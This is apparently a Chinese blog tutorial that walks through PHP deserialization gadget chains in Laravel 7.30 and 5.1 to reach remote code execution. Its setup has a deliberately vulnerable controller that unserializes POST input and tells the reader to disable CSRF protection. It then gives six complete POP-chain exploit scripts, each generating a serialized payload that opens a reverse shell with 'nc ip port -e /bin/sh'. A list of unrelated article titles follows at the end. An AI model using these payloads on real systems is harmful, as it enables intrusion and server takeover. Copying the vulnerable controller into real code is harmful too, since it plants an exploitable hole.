前言

静下心来观看的你一定会有收获的

工程创建:

composer create-project laravel/laravel project_name 7.x
// 7.x 为版本号

创建控制器:

在Laravel工程根目录命令行下输入
php artisan make:controller ArticleController

资源控制器:

路由设置:

在routes.php中添加:
Route::resource('/test', 'TestController');
注:laravel7在routes/web.php中添加

编写控制器:

<?phpnamespace App\Http\Controllers;use Illuminate\Http\Request;use Illuminate\Routing\Controller;class AdminController extends Controller
{public function index(){return 'post user to unserialize';}public function store(Request $request){$data = $request->input('user');$res = unserialize($data);return 'success';}}

入口URL
http://localhost/laravel51/public/
控制器访问
http://localhost/laravel51/public/admin

报错处理:

post提交失败 返419 | Page Expired
这是Laravel为了防止csrf攻击, 自动为用户进行添加的的token中间件
解决:关闭 VerifyCsrfToken 这个web中间件. (将其注释或删掉)

Laravel 7.30

RCE1

入口

切入口一般在__destruct()方法中
搜索__destruct(),找到一个貌似可用的

class test {// $args是数组function __call($method, $args){$method = ctf;$args = array('666')}
}
test -> ctf('666');
// 当调用一个类的方法,会在这个类中找这个方法,若找不到则调用__call方法

故接下来找可利用的__call方法,而__destruct方法所在那个类作为跳板类

__wakeup半途而废

\vendor\fakerphp\faker\src\Faker\Generator.php

$method 为 “dispatch”,$attributes可控,继续跟进format方法

发现危险函数call_user_func_array,继续跟进getFormatter方法

$this->formatters可控,$format可控,即call_user_func_array的第一个参数(方法名)可控。

是否是就可以RCE了呢?No!No!No!

发现__wakeup方法把formatters属性置空了,而反序列化需要先经过__wakeup方法,因此这里不可控。链子断掉。

柳暗花明
继续找__call方法

\vendor\fzaninotto\faker\src\Faker\ValidGenerator.php
$this->generator可控,$name为固定值dispatch,$arguments可控,这边call_user_func_array([$this->generator, $name], $arguments);这种写法,是把$this->generator作为一个类,调用它的$name方法,因此这边不能直接控制其调用我们指定的方法。

while (!call_user_func($this->validator, $res));$this->validator可控,$res作为方法的参数。我们若能控制$res,就能控制执行方法的参数,即可RCE

$res = call_user_func_array([$this->generator, $name], $arguments);。现在有两种思路:
1.找到含有dispatch方法的类,并且其返回结果为可控的字符串
2.找到没有dispatch方法的类,其会自动调用__call方法,找到一个返回结果为可控字符串的__call方法

第一种思路寻找无果,继续跟下去复杂度过高。
尝试第二种方法,找到一个__call
\vendor\fakerphp\faker\src\Faker\DefaultGenerator.php$this->default可控

到此整条链子打通

<?php
namespace Faker;class ValidGenerator
{protected $generator;protected $validator;protected $maxRetries;public function __construct(){$this->generator = new DefaultGenerator();$this->validator = "shell_exec";$this->maxRetries = 1;}
}class DefaultGenerator
{protected $default;public function __construct(){$this->default = "nc ip port -e /bin/sh";}
}namespace Illuminate\Broadcasting;use Faker\ValidGenerator;class PendingBroadcast
{protected $events;protected $event;  // call方法的参数,可控public function __construct(){$this->events = new ValidGenerator();$this->event = 'p4nic';}
}echo urlencode(serialize(new PendingBroadcast()));

RCE2

继续找__destruct()
\vendor\laravel\framework\src\Illuminate\Routing\PendingResourceRegistration.php
$this->registered可控,设为false,继续跟进register()
$this->registrar可控,按照前面套路,这里仍然找一个没有register方法的类,并且有可利用的__call()方法

找到\vendor\laravel\framework\src\Illuminate\Validation\Validator.php
$method=register$parameters=[$this->name, $this->controller, $this->options]
substr($method, 8)得到空字符’',跟进snake

这边先测试一下

<?php
namespace Illuminate\Validation{class Validator{}
}
namespace Illuminate\Routing{use Illuminate\Validation\Validator;class PendingResourceRegistration{protected $registrar;protected $registered = false;public function __construct(){$this->registrar=new Validator();}}echo urlencode(serialize(new PendingResourceRegistration()));
}


发现最后$rule为空字符串
$this->extensions[$rule]可控,继续跟进callExtension

$callback可控

php在用户自定义函数中支持可变数量的参数列表,包含…的参数,会转换为指定参数变量的一个数组。array_values会返回数组中所有值组成的数组

因此这里设置$callback = $this->extensions[''] = call_user_func
传进来的三个参数分别设置为:call_user_func、system、命令

到此整条链子打通

<?php
namespace Illuminate\Validation {class Validator{public $extensions = [];public function __construct(){$this->extensions[''] = 'call_user_func';}}
}namespace Illuminate\Routing {use Illuminate\Validation\Validator;class PendingResourceRegistration{protected $registrar;protected $registered = false;protected $name = 'call_user_func';protected $controller = 'system';protected $options;public function __construct(){$this->registrar = new Validator();$this->options = 'nc ip port -e /bin/sh';}}echo urlencode(serialize(new PendingResourceRegistration()));
}

RCE3

接着上面的PendingResourceRegistration类,另外找一个可利用的__call()方法
\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php
$method为register,跟进__invoke
$this->callable可控,这边设计为一个数组,第一个元素为某个类对象,第二个参数为方法名,便能调用该类对象的方法,接下来需要找到一个可利用的类

\vendor\phpunit\phpunit\src\Framework\MockObject\MockClass.php

$this->mockName可控,设置为某个不存在的类名即可,进入eval($this->classCode)$this->classCode也可控,设置为我们要执行代码。

到此整条链子打通

<?phpnamespace PHPUnit\Framework\MockObject {class MockClass{private $classCode;private $mockName;public function __construct(){$this->classCode = "system('nc ip port -e /bin/sh');";$this->mockName = 'p4nic';}}
}namespace Illuminate\View {use PHPUnit\Framework\MockObject\MockClass;class InvokableComponentVariable{protected $callable;public function __construct(){$this->callable = array(new MockClass(), 'generate');}}
}namespace Illuminate\Routing {use Illuminate\View\InvokableComponentVariable;class PendingResourceRegistration{protected $registered;protected $registrar;public function __construct(){$this->registered = false;$this->registrar = new InvokableComponentVariable();}}echo urlencode(serialize(new PendingResourceRegistration()));
}

Laravel 5.1

RCE 1

搜索__destruct()方法
\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
$this->_keys可控,跟进clearAll

$nsKey是从$this->_keys获取的键名,因此也可控。
array_key_exists($nsKey, $this->_keys)成立,遍历$nsKey这个键对应的值
跟进clearKey

目前关系是这样的array["$nsKey"=>Array["$itemKey"=>"value"]],跟进hasKey

这里进行了字符串拼接$this->_path可控,若其为对象,则会触发__toString()方法,本地测试一下

<?php
class test {public function __toString(){system('calc');return 'small test';}
}$a = new test();
echo "This is a ".$a;  // 输出This is a small test  并弹出了计算器

因此将此类作为跳板类,继续寻找可利用的__toString()方法

\vendor\mockery\mockery\library\Mockery\Generator\DefinedTargetClass.php
跟进getName()

$this->rfc可控,继续将此类当成跳板类,寻找含有可以利用的__call()方法且没有getName()方法的类
这边__call()的参数为$method=getName
直接利用上面Laravel 7.30 RCE1的后半段链子

<?phpnamespace Faker {class DefaultGenerator{protected $default;public function __construct(){$this->default = "nc ip port -e /bin/sh";}}class ValidGenerator{protected $generator;protected $validator;protected $maxRetries;public function __construct(){$this->generator = new DefaultGenerator();$this->maxRetries = 1;$this->validator = 'shell_exec';}}
}namespace Mockery\Generator {use Faker\ValidGenerator;class DefinedTargetClass{private $rfc;    // 调用$rfc的__call方法public function __construct(){$this->rfc = new ValidGenerator();}}
}namespace {use Mockery\Generator\DefinedTargetClass;class Swift_KeyCache_DiskKeyCache{private $_keys = ['p4nic' => array('p4nic' => 'p4nic')];private $_path;        // 调用$_path的__toString方法public function __construct(){$this->_path = new DefinedTargetClass();}}echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

RCE2

继续从上面那条链子找分支
寻找其他可以利用的__toString方法

\vendor\phpdocumentor\reflection-docblock\src\DocBlock\Tags\Deprecated.php
$this->description可控【注意:这里Deprecated类继承了BaseTag类,Deprecated类中没有description成员,需要到父类中去找】
跟进render发现没有明显可直接利用的点,因此需找一个没有reder方法的类且其__call()方法可利用(或者找一个可利用的render方法),依旧可以用上文的下半段链子,这里我们再重新找一个
\vendor\laravel\framework\src\Illuminate\Database\DatabaseManager.php

$method固定为render,parameters为空,目前还不能直接利用,跟进‘parameters为空,目前还不能直接利用,跟进`parameters为空,目前还不能直接利用,跟进‘this->connection()`

跟进parseConnectionName($name)
$name为null,跟进getDefaultConnection()

$this->app可控,因此$name可控,返回parseConnectionName,若$name['::read', '::write']结尾则继续处理,否则返回数组[$name, null],目前到这部都可控,继续返回上层函数connection()
$this->connections可控,跟进makeConnection()

发现危险函数call_user_func,$this->extensions可控,接下来看$config
跟进getConfig($name)

$config = Arr::get($connections, $name),跟进get方法

即如果$connection作为一个数组里面有$name这个键的话就返回$name这个键对应的值
$name = $name ?: $this->getDefaultConnection();之前说到$name可控,因此这里$name不变
$connections = $this->app['config']['database.connections'];$this->app可控,因此$connection可控

此时call_user_func($this->extensions[$name], $config, $name);中全部参数可控。

到此这条链打通

<?phpnamespace Illuminate\Database {class DatabaseManager{protected $app;protected $extensions = [];public function __construct(){$this->app['config']['database.default'] = 'nc ip port -e /bin/sh';  // 赋值给$name$this->extensions['nc ip port -e /bin/sh'] = 'call_user_func';$this->app['config']['database.connections'] = array("nc ip port -e /bin/sh" => "system");}}
}namespace phpDocumentor\Reflection\DocBlock\Tags {use Illuminate\Database\DatabaseManager;class BaseTag{protected $description; // 调用$description的__call方法}final class Deprecated extends BaseTag{public function __construct(){$this->description = new DatabaseManager();}}
}namespace {use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;class Swift_KeyCache_DiskKeyCache{private $_keys = ['p4nic' => array('p4nic' => 'p4nic')];private $_path;        // 调用$_path的__toString方法public function __construct(){$this->_path = new Deprecated();}}echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

RCE3

继续拓宽上面链子的分支,寻找其他可利用的__toString()方法
\vendor\phpspec\prophecy\src\Prophecy\Argument\Token\ObjectStateToken.php
$this->util可控,$this->value可控,跟进stringify发现难以利用,因此转为寻找可利用的__call()方法

\vendor\laravel\framework\src\Illuminate\Validation\Validator.php

跟进snake,$method='stringify' 这边substr($method, 8)得到’y’

<?php
$delimiter = '_';
$value = 'y';
echo preg_replace('/(.)(?=[A-Z])/u', '$1' . $delimiter, $value); //y

看似很复杂,一波操作下来其实就是把传进去的$value转为小写并返回,同时static::$snakeCache[$key][$delimiter] = 'y';,即返回$rule='y',继续回到__call

$this->extensions可控,设置$this->extensions['y']不为空,进入$this->callExtension

$callback可控,若$callback是Closure的实例,进入call_user_func_array,进而传入危险函数的是个对象,仍无法利用。若$callback是字符串,进入elseif,跟进callClassBasedExtension

explode():使用一个字符串分割另一个字符串返回一个列表,这里我们设计$callback为xxx@yyy的形式,刚好$class=xxx$method=yyythis->container可控,继续跟进make,发现make是抽象方法。

如果这边继续找__call方法要么陷入死循环,要么继续使用之前找到的可利用的__call使得链条冗余。回想起之前的链子找到过一个很简洁的__call,它返回的东西直接可控。若我们这边让其返回一个对象,即$this->default设置为一个类对象,那么$this->container->make($class)$this->default这个对象,$method$parameters又是可控的,那么现在的目标就是找到一个可利用的后门类,我们就可以调用它的方法。

找到了一个类貌似能满足\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php

别忘了方法的参数我们是可控的,跟进getClassName,class_exists判断一个类是否定义

这边需要找一个有getName()方法的类,并把它的name成员设置为一个不存在的类名,才能让class_exists返回false不进入if语句
这里随便找了一个class Store。

接着跟进getCode()

因此我们只要构造参数为MockDefinition的对象即可,成员code写入Evil代码
到此该链条打通

<?phpnamespace Illuminate\Session {class Store{protected $name;public function __construct(){$this->name = 'p4nic';  // 一个不存在的类}}
}namespace Mockery\Loader {class EvalLoader{}  // 后门类
}namespace Mockery\Generator {use Illuminate\Session\Store;class MockDefinition{protected $code;protected $config;public function __construct(){$this->code = "<?php system('nc ip port -e /bin/sh');?>";$this->config = new Store();}}
}namespace Faker {use Mockery\Loader\EvalLoader;class DefaultGenerator{protected $default;public function __construct(){$this->default = new EvalLoader();}}
}namespace Illuminate\Validation {use Faker\DefaultGenerator;class Validator{public $container;protected $extensions;public function __construct(){$this->extensions['y'] = 'xxx@load';$this->container = new DefaultGenerator();}}
}namespace Prophecy\Argument\Token {use Illuminate\Validation\Validator;use Mockery\Generator\MockDefinition;class ObjectStateToken{private $util;private $value;public function __construct(){$this->util = new Validator();$this->value = new MockDefinition();}}
}namespace {use Prophecy\Argument\Token\ObjectStateToken;class Swift_KeyCache_DiskKeyCache{private $_keys = ['p4nic' => array('p4nic' => 'p4nic')];private $_path;        // 调用$_path的__toString方法public function __construct(){$this->_path = new ObjectStateToken();}}echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

Laravel反序列化实现RCE相关推荐

  1. rmi反序列化导致rce漏洞修复_企业安全05-Fastjson =1.2.47反序列化RCE漏洞(CNVD-2019-22238)...

    Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238) 一.漏洞描述 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 ...

  2. rmi反序列化导致rce漏洞修复_JAVA反序列化漏洞解决办法

    一.漏洞描述: 近期,反序列化任意代码执行漏洞持续发酵,越来越多的系统被爆出存在此漏洞.Apache Commons工具集广泛应用于JAVA技术平台,存在Apache Commons Componen ...

  3. rmi反序列化导致rce漏洞修复_RMI反序列化漏洞分析

    原创:Xman21合天智汇 一.RMI简介 首先看一下RMI在wikipedia上的描述: Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Ja ...

  4. php laravel框架 rce分析 cve-2018-15133

    本文将记录在 APP_KEY 泄露情况下的 Laravel RCE 漏洞.该漏洞可以分别在两个地方触发,一个是直接添加在 cookie 字段,例如: Cookie: ATTACK=payload :另 ...

  5. Apache Shiro<=1.2.4反序列化RCE漏洞

    版本:Apache Shiro<=1.2.4 介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的r ...

  6. CVE-2021-3129:Laravel远程代码漏洞复现分析

    本文分享自华为云社区<CVE-2021-3129 分析>,作者:Xuuuu . CVE-2021-3129 Tag: [[php phar]] | [[php deserialize]] ...

  7. Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

    Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 漏洞环境搭建 漏洞复现 反弹shell 题外话1 题外话2 影响版本:Apache Shiro <= 1.2.4 漏洞产生 ...

  8. Laravel 漏洞合集

    Laravel 漏洞合集 Laravel 存在SQL注入漏洞 poc: /test?email=1&id=1 union select user()# /test?email=1/`& ...

  9. 【漏洞复现】ApacheShiro1.2.4反序列化漏洞复现(CVE-2016-4437)

    前言: Apache Shiro是一款开源安全框架,提供身份验证.授权.密码学和会话管理.Shiro框架直观.易用,同时也能提供健壮的安全性. 影响版本: Apache Shiro <= 1.2 ...

最新文章

  1. Python字典部分源码分析,字典是无序的
  2. 赛道公布之后,让我们一起DISS组委会
  3. python资料书-史上最全Python从入门到资深书籍资料分享!
  4. android+Unity3D游戏开发之简单的物体运动
  5. 复旦大学肖仰华教授:知识图谱与认知智能 | 附PPT下载
  6. java ajax 获取headers_Ajax获取Response头信息
  7. windows10搜索网络计算机,教你如何关闭Win10搜索的网络搜索功能
  8. RMAN备份与恢复(三)--备份相关概念
  9. Megcup2017 Dogfood
  10. [18/11/22] 将点分十进制的IP地址化成二进制输出
  11. 学习资料收集:计算机系统基础
  12. 概率论——随机变量和的期望
  13. php gd保存图片,PHP: GD - Manual
  14. 显卡虚拟化--最强实践
  15. 人生进度条百分之20_1分钟get技能:缺了“进度条”,你注定和80%的失败者一样实现不了人生目标...
  16. 新手如何零基础操作让亚马逊无货源店铺如何单月3-5万
  17. MyBatis-Plus--自动填充的用法
  18. shell中的$IFS变量和$*
  19. 【课程设计】僵尸大战植物 Zombies vs.Plants
  20. ACL 2017 最佳长论文,带你创造一门优雅的新语言

热门文章

  1. android广告视频播放,一种解决android广告视频启播前黑屏的方法与流程
  2. 饥荒时用java写的吗_【图片】类与对象面向对象编程【饥荒mod制作吧】_百度贴吧...
  3. 何苦做游戏-- 一位网游制作人的成长故事
  4. CC2530设置发射功率
  5. 9、STM32 SDIO FATFS(SD卡)
  6. 【转载】使用tcp.validnode_checking允许、限制机器访问数据库
  7. Google终于改变思路,向百度看齐?
  8. @NotNull注解不生效
  9. java的@NotNull怎么用
  10. 如何实现安卓二维码扫码功能